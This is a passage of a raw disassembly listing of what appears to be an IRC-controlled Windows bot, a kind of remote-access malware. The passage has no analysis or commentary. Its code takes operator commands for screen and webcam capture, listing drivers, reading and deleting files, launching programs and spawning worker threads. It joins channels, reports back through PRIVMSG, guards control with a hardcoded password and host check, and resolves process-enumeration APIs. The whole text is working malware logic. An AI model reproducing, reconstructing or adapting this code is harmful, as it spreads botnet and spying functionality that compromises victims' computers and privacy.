sub_401ACD+5853j ; sub_401ACD+7B2Bj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_409610 ; --------------------------------------------------------------------------- loc_408CF0: ; CODE XREF: sub_401ACD+481Aj ; sub_401ACD+4831j push edi ; int push [ebp+Source] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4184E2 jmp loc_4040FD ; --------------------------------------------------------------------------- loc_408D0A: ; CODE XREF: sub_401ACD+47DCj ; sub_401ACD+47F1j push [ebp+Source] ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_409855 mov esi, [ebp+esi+Format] cmp esi, ebx jz loc_408DB2 push esi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D9A push esi lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push [ebp+Source] push offset asc_42A384 ; "-" push eax ; Dest call _sprintf add esp, 10h inc [ebp+File] jmp loc_40877B ; --------------------------------------------------------------------------- loc_408D9A: ; CODE XREF: sub_401ACD+7270j lea eax, [ebp+Dst] push offset asc_42A354 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DB2: ; CODE XREF: sub_401ACD+725Bj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h lea eax, [ebp+Dst] push [ebp+Source] push offset asc_42A338 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DFE: ; CODE XREF: sub_401ACD+47B2j ; sub_401ACD+47C7j push offset aScreen ; "screen" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_408E59 mov edi, [ebp+esi+Format] cmp edi, ebx jz short loc_408E46 push edi call sub_4153BD cmp eax, 1 pop ecx jnz short loc_408E3F push edi lea eax, [ebp+Dst] push offset asc_42A304 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_408E59 ; --------------------------------------------------------------------------- loc_408E3F: ; CODE XREF: sub_401ACD+7359j push offset unk_42A2D4 jmp short loc_408E4B ; --------------------------------------------------------------------------- loc_408E46: ; CODE XREF: sub_401ACD+734Dj push offset asc_42A298 ; "-" loc_408E4B: ; CODE XREF: sub_401ACD+7377j lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_408E59: ; CODE XREF: sub_401ACD+7342j ; sub_401ACD+7370j push offset aDrivers ; "drivers" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_408EE6 xor edi, edi loc_408E6E: ; CODE XREF: sub_401ACD+7404j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CB684 test eax, eax jz short loc_408ECD lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset asc_42A268 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_5D88] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 28h loc_408ECD: ; CODE XREF: sub_401ACD+73C2j inc edi cmp edi, 0Ah jl short loc_408E6E lea eax, [ebp+Dst] push offset asc_42A240 ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_408EE6: ; CODE XREF: sub_401ACD+739Dj push offset aFrame ; "frame" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_408F87 cmp [ebp+esi+Format], ebx jz short loc_408F74 cmp [ebp+esi+Str2], ebx jz short loc_408F74 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F74 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F74 push eax ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; Size push [ebp+esi+Format] ; int call sub_4155F8 add esp, 10h test eax, eax jnz short loc_408F6D push [ebp+esi+Format] lea eax, [ebp+Dst] push offset asc_42A20C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_408F87 ; --------------------------------------------------------------------------- loc_408F6D: ; CODE XREF: sub_401ACD+7481j push offset unk_42A1D8 jmp short loc_408F79 ; --------------------------------------------------------------------------- loc_408F74: ; CODE XREF: sub_401ACD+7437j ; sub_401ACD+7440j ... push offset asc_42A1A0 ; "-" loc_408F79: ; CODE XREF: sub_401ACD+74A5j lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_408F87: ; CODE XREF: sub_401ACD+742Aj ; sub_401ACD+749Ej push offset aVideo ; "video" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40875A mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901F mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz short loc_40901F mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901F mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901F mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901F push esi ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+arg_18] ; Str call _atoi pop ecx push eax ; int push [ebp+Src] ; Str call _atoi pop ecx push eax ; Size push [ebp+arg_1C] ; int call sub_4157F1 add esp, 14h test eax, eax jnz short loc_409015 push [ebp+arg_1C] push offset unk_42A16C jmp loc_40874B ; --------------------------------------------------------------------------- loc_409015: ; CODE XREF: sub_401ACD+7539j push offset unk_42A12C jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_40901F: ; CODE XREF: sub_401ACD+74DDj ; sub_401ACD+74EBj ... push offset unk_42A0EC jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_409029: ; CODE XREF: sub_401ACD+4042j ; sub_401ACD+4057j push offset aR ; "r" push [ebp+Source] ; Filename call _fopen mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409099 mov esi, 200h push edi ; File lea eax, [ebp+Dst] push esi ; MaxCount push eax ; Buf call _fgets add esp, 0Ch loc_409054: ; CODE XREF: sub_401ACD+75B6j test eax, eax jz short loc_409085 push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 push edi ; File lea eax, [ebp+Dst] push esi ; MaxCount push eax ; Buf call _fgets add esp, 20h jmp short loc_409054 ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+7589j push edi ; File call _fclose pop ecx push [ebp+Source] push offset unk_42A0C8 jmp loc_409227 ; --------------------------------------------------------------------------- loc_409099: ; CODE XREF: sub_401ACD+756Fj push [ebp+Source] push offset unk_42A0A4 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4090A6: ; CODE XREF: sub_401ACD+4018j ; sub_401ACD+402Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push offset asc_42A0A0 ; "\n" push esi ; Dest call _strcat push esi ; Str call sub_419A51 add esp, 0Ch test eax, eax jnz short loc_4090F6 push offset asc_42A074 ; "-" loc_4090E3: ; CODE XREF: sub_401ACD+754Dj ; sub_401ACD+7557j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_40875A ; --------------------------------------------------------------------------- loc_4090F6: ; CODE XREF: sub_401ACD+760Fj push esi lea eax, [ebp+Dst] push offset asc_42A05C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_40877B ; --------------------------------------------------------------------------- loc_409110: ; CODE XREF: sub_401ACD+3FEEj ; sub_401ACD+4003j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_409855 push eax ; Format call sub_418212 test eax, eax pop ecx jnz short loc_409140 push offset unk_42A03C jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409140: ; CODE XREF: sub_401ACD+766Aj push offset dword_42A020 jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409147: ; CODE XREF: sub_401ACD+3FC4j ; sub_401ACD+3FD9j push 7Fh ; Count lea eax, [ebp+var_2080] push [ebp+Source] ; Source push eax ; Dest call _strncpy mov esi, [ebp+esi+Format] add esp, 0Ch cmp esi, ebx jz short loc_409178 push 7Fh ; Count lea eax, [ebp+var_2000] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_409178: ; CODE XREF: sub_401ACD+7697j push 7Fh ; Count lea eax, [ebp+var_1F80] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+Source] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+Dst] push offset asc_42A008 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ch ; int push eax ; Source call sub_40B0F7 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB6 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40921B loc_409205: ; CODE XREF: sub_401ACD+774Cj cmp [ebp+var_1EF4], ebx jnz loc_406D00 push 32h call ds:dword_427078 ; Sleep jmp short loc_409205 ; --------------------------------------------------------------------------- loc_40921B: ; CODE XREF: sub_401ACD+7736j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset asc_429FC8 ; "-" loc_409227: ; CODE XREF: sub_401ACD+29CFj ; sub_401ACD+75C7j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_406D00 ; --------------------------------------------------------------------------- loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj ; sub_401ACD+3FAFj push ebx ; Source push [ebp+Format] ; int push [ebp+arg_4] ; int push [ebp+Source] ; Str call sub_40F96B add esp, 10h push [ebp+Source] push offset dword_429FB0 jmp loc_40984E ; --------------------------------------------------------------------------- loc_40925D: ; CODE XREF: sub_401ACD+3F70j ; sub_401ACD+3F85j push 14h ; Size lea eax, [ebp+var_1D48] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+Source] push offset aS_6 ; "%s" push eax ; Dest call _sprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax ; Format lea eax, [ebp+var_1C30] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+Dst] push offset asc_429F8C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B0F7 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset sub_415E1B push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_409326: ; CODE XREF: sub_401ACD+786Dj cmp [ebp+var_1BA0], ebx jnz loc_4083BD push 32h call ds:dword_427078 ; Sleep jmp short loc_409326 ; --------------------------------------------------------------------------- loc_40933C: ; CODE XREF: sub_401ACD+3F46j ; sub_401ACD+3F5Bj push [ebp+Source] call ds:dword_427080 ; DeleteFileA test eax, eax jz short loc_409367 push [ebp+Source] lea eax, [ebp+Dst] push offset asc_429F70 ; "-" push 200h ; Count push eax ; Dest call __snprintf jmp loc_409445 ; --------------------------------------------------------------------------- loc_409367: ; CODE XREF: sub_401ACD+787Aj push offset dword_42A778 call sub_41814D pop ecx push eax jmp loc_403F48 ; --------------------------------------------------------------------------- loc_409378: ; CODE XREF: sub_401ACD+3F1Cj ; sub_401ACD+3F31j push [ebp+Source] ; Str call _atoi push eax call sub_4199CA pop ecx pop ecx push 1 pop esi push [ebp+Source] cmp eax, esi jnz short loc_409399 push offset unk_429F4C jmp short loc_40939E ; --------------------------------------------------------------------------- loc_409399: ; CODE XREF: sub_401ACD+78C3j push offset asc_429F1C ; "-" loc_40939E: ; CODE XREF: sub_401ACD+78CAj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D03 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j ; sub_401ACD+3F07j push ebx ; int push ebx ; int push [ebp+Source] ; Str2 push [ebp+var_4] ; int push ebx ; Str push [ebp+arg_4] ; int call sub_4196BD add esp, 18h cmp eax, 1 push [ebp+Source] jnz short loc_4093FD push offset unk_429EFC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4093FD: ; CODE XREF: sub_401ACD+7924j push offset unk_429ECC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_409407: ; CODE XREF: sub_401ACD+3EC8j ; sub_401ACD+3EDDj mov esi, [ebp+Source] push esi call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944D push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB60C ; gethostbyaddr cmp eax, ebx jz short loc_409468 push dword ptr [eax] loc_409433: ; CODE XREF: sub_401ACD+7999j push esi lea eax, [ebp+Dst] push offset asc_429EAC ; "-" push eax ; Dest call _sprintf loc_409445: ; CODE XREF: sub_401ACD+7895j add esp, 10h jmp loc_406CDF ; --------------------------------------------------------------------------- loc_40944D: ; CODE XREF: sub_401ACD+794Dj push esi call dword_4CB6D8 ; gethostbyname cmp eax, ebx jz short loc_409468 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB6E0 ; inet_ntoa push eax jmp short loc_409433 ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_401ACD+7962j ; sub_401ACD+7989j push offset unk_429E84 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_401ACD+3E9Ej ; sub_401ACD+3EB3j push 7Fh ; Count push [ebp+Source] ; Source push [ebp+arg_14] ; Dest call _strncpy add esp, 0Ch push [ebp+Source] push offset unk_429E5C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_40948F: ; CODE XREF: sub_401ACD+3E74j ; sub_401ACD+3E89j push 5 push ebx push ebx push [ebp+Source] push offset aOpen ; "open" push ebx call dword_4CB5C0 push [ebp+Source] test eax, eax jz short loc_4094B3 push offset unk_429E3C jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4094B3: ; CODE XREF: sub_401ACD+79DAj push offset unk_429E18 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj ; sub_401ACD+3E5Fj mov eax, [ebp+Source] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429DF0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_4094D6: ; CODE XREF: sub_401ACD+3E20j ; sub_401ACD+3E35j push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409855 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B08E add esp, 10h push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_408995 ; --------------------------------------------------------------------------- loc_409528: ; CODE XREF: sub_401ACD+3DF6j ; sub_401ACD+3E0Bj mov esi, [ebp+Source] push esi ; Str call _atoi test eax, eax pop ecx jle loc_401E94 push esi ; Str call _atoi cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A2D pop ecx pop ecx push 1F4h call ds:dword_427078 ; Sleep push esi ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] call dword_4CB6EC ; closesocket push [ebp+var_10] push esi ; Str call _atoi imul eax, 234h pop ecx push dword_43E5A4[eax] call ds:dword_4270AC ; TerminateThread push esi ; Str call _atoi imul eax, 234h push esi ; Str mov dword_43E5A4[eax], ebx call _atoi imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E390[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj ; sub_401ACD+3DE1j push [ebp+Source] ; Str2 push offset aAll ; "all" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_409642 call sub_40B2C0 cmp eax, ebx jle short loc_4095FD push eax push offset unk_429DC4 jmp loc_408CDC ; --------------------------------------------------------------------------- loc_4095FD: ; CODE XREF: sub_401ACD+7B23j push offset asc_429D9C ; "-" loc_409602: ; CODE XREF: sub_401ACD+24FAj ; sub_401ACD+2519j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_409610: ; CODE XREF: sub_401ACD+721Ej cmp [ebp+var_8], ebx jnz short loc_409631 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_409629: ; CODE XREF: sub_401ACD+6DB5j call sub_409A73 add esp, 14h loc_409631: ; CODE XREF: sub_401ACD+26F7j ; sub_401ACD+2722j ... lea eax, [ebp+Dst] push eax call sub_4151AD jmp loc_40207D ; --------------------------------------------------------------------------- loc_409642: ; CODE XREF: sub_401ACD+7B1Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+File], eax loc_40965E: ; CODE XREF: sub_401ACD+7C02j mov eax, [ebp+File] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi ; Str call _atoi push eax call sub_40B232 pop ecx pop ecx test eax, eax push esi jz short loc_409685 push offset unk_429D78 jmp short loc_40968A ; --------------------------------------------------------------------------- loc_409685: ; CODE XREF: sub_401ACD+7BAFj push offset asc_429D4C ; "-" loc_40968A: ; CODE XREF: sub_401ACD+7BB6j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096BA push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj lea eax, [ebp+Dst] push eax call sub_4151AD add [ebp+File], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965E jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j ; sub_401ACD+3DB7j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi ; Args push offset aS ; "%s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push esi push offset dword_429D30 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409712: ; CODE XREF: sub_401ACD+3D78j ; sub_401ACD+3D8Dj push [ebp+Source] ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push [ebp+Source] push offset unk_429D0C jmp loc_40984E ; --------------------------------------------------------------------------- loc_409732: ; CODE XREF: sub_401ACD+3D4Ej ; sub_401ACD+3D63j push [ebp+esi+Format] push [ebp+Source] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 10h push [ebp+Source] push offset unk_429CE8 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409759: ; CODE XREF: sub_401ACD+3D24j ; sub_401ACD+3D39j push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push [ebp+Source] push offset unk_429CC4 jmp loc_40984E ; --------------------------------------------------------------------------- loc_409779: ; CODE XREF: sub_401ACD+3164j ; sub_401ACD+3179j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409A2D pop ecx lea eax, [ebp+Dst] pop ecx push [ebp+Source] push offset asc_429CA0 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_4151AD push [ebp+Source] ; Str call _atoi add esp, 14h loc_4097B3: ; CODE XREF: sub_401ACD+7D34j push eax call ds:dword_427078 ; Sleep loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C1: ; CODE XREF: sub_401ACD+313Aj ; sub_401ACD+314Fj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409A2D pop ecx lea eax, [ebp+Dst] pop ecx push [ebp+Source] push offset asc_429C78 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_4151AD push [ebp+Source] ; Str call _atoi add esp, 14h imul eax, 3E8h jmp short loc_4097B3 ; --------------------------------------------------------------------------- loc_409803: ; CODE XREF: sub_401ACD+EC9j ; sub_401ACD+EDEj push dword ptr [ebp+esi+Args] ; Str1 xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax ; int lea eax, [ebp+Str1] push dword_42909C ; int push eax ; Dest call sub_40B08E add esp, 10h lea eax, [ebp+Str1] push eax ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch lea eax, [ebp+Str1] push eax ; Args push offset asc_429C54 ; "-" loc_40984E: ; CODE XREF: sub_401ACD+70B5j ; sub_401ACD+778Bj ... call sub_415221 pop ecx loc_409854: ; CODE XREF: sub_401ACD+6CBAj pop ecx loc_409855: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+File] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985D: ; CODE XREF: sub_401ACD+AB4j ; sub_401ACD+AC9j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Source], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset Delim ; "!" push [ebp+var_90] ; Str call _strtok mov esi, eax push offset byte_4CB50C ; Delim push ebx ; Str inc esi call _strtok push offset asc_429C50 ; "~" push eax ; Str call _strtok push [ebp+Source] ; Str2 mov edi, eax push offset aCool ; "cool" call _strcmp add esp, 20h test eax, eax jz short loc_4098FC lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429BD0 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj mov [ebp+File], offset off_429160 loc_409903: ; CODE XREF: sub_401ACD+7E52j mov eax, [ebp+File] push edi push dword ptr [eax] call sub_40B450 pop ecx test eax, eax pop ecx jnz short loc_409963 add [ebp+File], 4 cmp [ebp+File], offset off_429164 jb short loc_409903 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 14h lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push edi push esi push offset unk_429B7C jmp loc_40240A ; --------------------------------------------------------------------------- loc_409963: ; CODE XREF: sub_401ACD+7E45j mov edi, [ebp+arg_18] xor esi, esi loc_409968: ; CODE XREF: sub_401ACD+7EC5j cmp [ebp+Source], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409988 push [ebp+Source] ; Str2 push offset aCool ; "cool" call _strcmp pop ecx test eax, eax pop ecx jz short loc_409999 loc_409988: ; CODE XREF: sub_401ACD+7EA6j inc esi add edi, 80h cmp esi, 3 jl short loc_409968 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409999: ; CODE XREF: sub_401ACD+7EB9j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh ; Count push eax ; Source push esi ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099D0 push ebx ; int push [ebp+var_4] ; int push offset unk_429B5C ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j lea eax, [ebp+var_C4] push eax push offset unk_429B3C jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E1: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+Source] ; Args push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 0Ch push offset aXI ; "-x+i" push [ebp+Source] ; Args push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 10h push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409A2D add esp, 10h mov dword_4CB504, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409A2D(int,char *Format,char Args) sub_409A2D proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... Dest = byte ptr -200h arg_0 = dword ptr 8 Format = dword ptr 0Ch Args = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 200h ; Count push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CB6A4 ; send leave retn sub_409A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_409A73(int,char *Str,int,int,int) sub_409A73 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Ep ... var_400 = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8E mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8E: ; CODE XREF: sub_409A73+14j push edi ; Str call _strlen push [ebp+Str] ; Str mov esi, 1FAh sub esi, eax call _strlen pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_6 ; "%s" push esi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+Dest] push [ebp+Str] push edi push offset aSSS_1 ; "%s %s :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B11 push 7D0h call ds:dword_427078 ; Sleep locret_409B11: ; CODE XREF: sub_409A73+91j leave retn sub_409A73 endp ; =============== S U B R O U T I N E ======================================= sub_409B13 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp push ebx push ebp mov ebp, ds:dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C33 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB700, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CB674, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CB658, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CB568, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov 